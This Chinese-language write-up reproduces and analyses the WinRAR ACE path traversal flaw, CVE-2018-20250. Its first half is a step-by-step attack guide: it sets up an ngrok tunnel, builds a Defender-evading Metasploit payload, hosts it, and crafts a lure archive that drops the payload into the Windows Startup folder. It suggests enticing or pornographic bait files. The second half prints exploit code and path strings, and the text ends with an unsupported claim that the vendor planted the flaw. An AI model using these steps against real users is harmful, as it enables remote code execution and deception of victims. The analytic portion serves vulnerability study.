一、CVE-2018-20250漏洞利用复现
1.1 下载WinRAR远程代码执行漏洞EXP利用文件
https://github.com/WyAtu/CVE-2018-20250
1.2 用https://www.ngrok.cc/开通一个免费隧道转发代理,把ngrok隧道协议设置成TCP,内网IP改成自己的KaliLinux的内网IP,内网端口号任意填写不冲突即可。
1.3 如图开通好隧道
1.4 下载ngrok脚本到kali linux上,按版本选这里我选linux 64,运行脚本开启代理。
./sunny clientid [隧道ID]
1.5 使用metasploit5自带免杀模块生成payload(这里针对win10的defender)
1.6 将Payload移到apache2网站根目录下
cp /root/.msf4/local/WinRarPayloadTest.exe /var/www/html
1.7 启动apache服务
service apache2 start
1.8 物理机访问kali的ip地址,下载该Payload.
1.9 这里下载的时候要先往defender里面加入该文件夹的排除项,不然下载的Payload会被秒删除。
1.10 打开之前下的exp.py将calc.exe改成WinRarPayload.exe保存
1.11 运行exp.py文件自动在文件根目录下生成恶意压缩包。
如图这里生成了一个雅思资料包,这里还可以往里面加入一些看似有用的或者带颜色的文件诱导下载。
1.12 现在就来尝试下受害者视角
我找了个有winrar的UNACEV2.DLL虚拟机
下载资源文件IELTS.rar并解压
解压后就是预先放置好的文件。
但此时,该电脑的启动项里已经有了我们放进去的Payload,实际攻击应该用进程注入,或者注册表的方式添加。
这时攻击者就开启监听等待手害机请求就好了
同时记得开启好代理隧道
这时我们重启下受害机,然后就能收到请求了实现任意代码远程执行了。
然后就能ifconfig看下是不是目标受害机
二、CVE-2018-20250漏洞分析以及exp.py攻击分析
2.1 CheckPoint团队发现了该漏洞为ACE文件验证逻辑绕过漏洞(CVE-2018-20250),另外还有ACE文件名逻辑验证绕过漏洞(CVE-2018-20251)、ACE/RAR文件越界写入漏洞(CVE-2018-20252)以及LHA/LZH文件越界写入漏洞(CVE-2018-20253)。上面攻击复现利用的漏洞就是CVE-2018-20250。
2.2 下面就来分析下ACE文件验证逻辑绕过漏洞。
这个漏洞是CheckPoint团队用他们基于WinAFL的fuzzer来二进制模糊测试下winRAR,然后发现一个dll(unacev2.dll)导致程序崩溃,然后再单独对这个dll进行测试发现导致内存崩溃的测试用例有奇怪行为,就是能够绝对路径遍历,所以通过这点确信存在可以任意代码执行的漏洞。
顺便po下这个团队的fuzzing流程(有机会我也学下fuzzing来试试国内常用软件):
- Creation of an internal harness inside the WinRAR main function which enables us to fuzz any archive type, without stitching a specific harness for each format. This is done by patching the WinRAR executable.
- Eliminate GUI elements such as message boxes and dialogs which require user interaction. This is also done by patching the WinRAR executable.
There are some message boxes that pop up even in CLI mode of WinRAR.- Use a giant corpus from an interesting piece of research conducted around 2005 by the University of Oulu.
- Fuzz the program with WinAFL using WinRAR command line switches. These force WinRAR to parse the “broken archive” and also set default passwords (“-p” for password and “-kb” for keep broken extracted files). We found those options in a WinRAR manual/help file.
貌似第3点提到的语料库有点东西。
这个团队fuzzing这个dll前,得做些准备工作来搞明白这个dll拿来干嘛的和怎么用,于是逆向后发现是用来对ACE文件进行解压提取的。
有以下两个具体函数:
- An initialization function named
ACEInitDll
, with the following signature:INT __stdcall ACEInitDll(unknown_struct_1 *struct_1);
• struct_1: pointer to an unknown struct- An extraction function named
ACEExtract
, with the following signature:INT __stdcall ACEExtract(LPSTR ArchiveName, unknown_struct_2 *struct_2);
•ArchiveName
: string pointer to the path to the ace file to be extracted
•struct_2
: pointer to an unknown struct
这两个函数需要参数的结构也搞不明白呀,那怎么办呢,要么慢慢调试,要么搜下有没有开源项目相关信息,这个团队很聪明的github了一下然后发现了有关该dll的详细头文件和使用方法,并且搞笑地发现这个开源项目FarManager就是WinRAR创始人放在github上的。
Note: The creator of this project is also the creator of WinRAR.
ps:为了暂时的安全建议还是不要将公司产品相关代码放在网上,但是反过来想,要不是这个开源项目方便了找漏洞也许这个漏洞得拖以后才能发现呢,所以在假设安全人员大都是善良的情况下开源才是长远的安全。
之后就导入头文件然后就搞明白了函数要的结构
INT __stdcall ACEInitDll(pACEInitDllStruc DllData);
INT __stdcall ACEExtract(LPSTR ArchiveName, pACEExtractStruc Extract);
然后开始fuzzing,惊奇发现又没有出现崩溃,于是团队又去研究ACE格式了。
后面就又是一个发现很多ACE文件有趣的过程,反正最后总结4点
(头文件解析ace文件时的输出)
- hdr_crc (marked in pink):两个检验和放在两个头里
- filename (marked in green):包含文件相对路径,提取过程会创建指定目录,文件名大小被2字节用hex进制转储。
- advert (marked in yellow):未注册版本会加广告
- file content:origsize定义内容大小,hdr_size定义头大小,在第二个头后偏移70处可以找到文件内容。
之后这个团队就打算搞搞这个文件名里的路径遍历漏洞。
短时间在fuzzer机里测试后,发现有个sourbe新文件夹处在父目录下
在sourbe这个文件夹里发现了一个REDVERSION_的文件,内容如下
然后此时来看下导致这个奇怪新文件的测试用例,十六进制如下
解析这个测试用例时的fuzzer输出
这个时候发现了这个测试用例,导致了3点
1.复制了广告域的内容到其他地方了:SIO就是广告字符串里·······VERSION的一部分嘛。还有这个文件名里就包含了RED VERSION*
2.文件名字段中的路径提取过程中用作“绝对路径”,而不是相对路径。
3.文件名中的星号转换为了下划线。文件名为“RED VERSION_¶”,因为 \x14\ (0x14) 就是 “¶” ,后面的没成为文件名因为遇到空字符结束。
本来以为是因为'\'触发漏洞,但发现不是,并且得到下面信息
1.第一个字符得是'/'或者'\'。
2.'*'要被包含在文件名至少一次,但位置随意。
构造一些触发漏洞文件名字实例:\some_folder\some_file*.exe 就被解析成 C:\some_folder\some_file_.exe 因为星号转化成下划线嘛
终于以为可以利用这个漏洞的时候,发现用winrar程序测试时并不会创建文件,因为winrar会进行文件创建验证,因此创建的文件会被删除掉。
这个验证规则如下:
- The first char does not equal “
\
” or “/
”.- The File Name doesn’t start with the following strings “
..\
” or “../
” which are gadgets for “Path Traversal”.- The following “Path Traversal” gadgets does not exist in the string:
- “
\..\
”- “
\../
”- “
/../
”- “
/..\
”
之后这个团队终于发现可以绕过删除就是在文件末尾添加":"这样就会被当成备用数据流。
最后最后,按如下流程进行触发漏洞。
首先要触发一个空字符串连接压缩文件相对路径,而不是目标文件夹。
sprintf(final_file_path, "%s%s", "", file_relative_path);
Instead of:
sprintf(final_file_path, "%s%s", destination_folder, file_relative_path);
其次就要使GetDevicePathLen这个函数返回大于0,这取决于相对路径的内容
- option 1:
C:\some_folder\some_file.ext
- option 2:
\some_folder\some_file.ext
(The first slash represents the current drive.)
用上面的肯定都会大于0,然后因为unacev2.dll里有个检查路径函数,必须要相对路径以"C:\"开头,并且要将其从相对路径中再删除掉。
所以我们就在option1里加多个c:\,从而就算删了后也能按我们想要的路径去放文件。
- option 1’:
C:\C:\
some_folder\some_file.ext
=>C:\
some_folder\some_file.ext
然后后面winrar里又会有个回调函数进行检验这个路径开头是不是"\",但是不会检查"C:\"所以现在这个option1就成功触发漏洞了。
此外,还可以利用这个漏洞进行进行SMB攻击,就是可以理解为中继攻击,可以连接到任意IP地址,并在SMB服务器上任意路径创建文件和文件夹。
C:\\\10.10.10.10\smb_folder_name\some_folder\some_file.ext
=>\\10.10.10.10\smb_folder_name\some_folder\some_file.ext
2.3 exp.py分析
首先打开来看下,可以更改的配置项。
# The archive filename you want
rar_filename = "IELTS.rar"
# The evil file you want to run
evil_filename = "WinRarPayload.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
可以更改生成的压缩包文件名,指定要放入的payload,放到的目标路径文件夹和名字,压缩包正常加压的文件。
代码主逻辑如下:
if __name__ == '__main__':
print("[*] Start to generate the archive file %s..."%(rar_filename))
shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A"
build_file(shellcode_head, rar_filename)
for i in range(len(filename_list)):
build_file_once(filename_list[i])
build_file_once(evil_filename, target_filename)
print("[+] Evil archive file %s generated successfully !"%(rar_filename))
就是按照上面分析的进行特意构造压缩包文件的头
最重要的是这个函数make_shellcode
def make_shellcode(filename, target_filename):
if target_filename == "":
target_filename = filename
hdr_crc_raw = "6789"
hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:])
packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:])
origsize_raw = packsize_raw
crc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:])
filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:])
filename_raw = "".join("{:x}".format(ord(c)) for c in target_filename)
content_raw = get_file_content(filename)
shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \
+ origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\
+ filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9"
return shellcode
整个过程就是要做好一个能避开检验函数的头,这样解压的过程检验函数会进行截断然后将目标路径文件成功生成。
后记
这次漏洞利用及原理学习到此为止,整个学习加记录的过程耗费近5h。
ps:感觉这个漏洞有可能是rar自己故意留的,因为这么多年中国不论个人还是公司都是用破解版本,那官方也要吃饭嘛然后留个漏洞变相赚钱好经营公司。
参考资料
https://www.freebuf.com/articles/network/197025.html
https://research.checkpoint.com/extracting-code-execution-from-winrar/